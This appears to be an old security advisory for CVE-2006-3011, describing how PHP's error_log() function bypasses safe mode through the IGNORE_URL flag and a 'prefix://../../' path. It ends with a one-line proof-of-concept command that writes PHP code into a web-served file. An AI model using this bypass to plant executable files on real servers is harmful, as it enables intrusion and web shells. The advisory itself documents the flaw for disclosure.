CVE-2006-3011
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.
error_log -- Send an error message somewhere.
- --- 1. error_log() Safe Mode Bypass ---

Let's see to option 3.
- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---
Option "a", writte to file error or if file dosen't exists, create new file.
Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
IGNORE_URL turn off safe_mode if you use "prefix://../../".

cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'
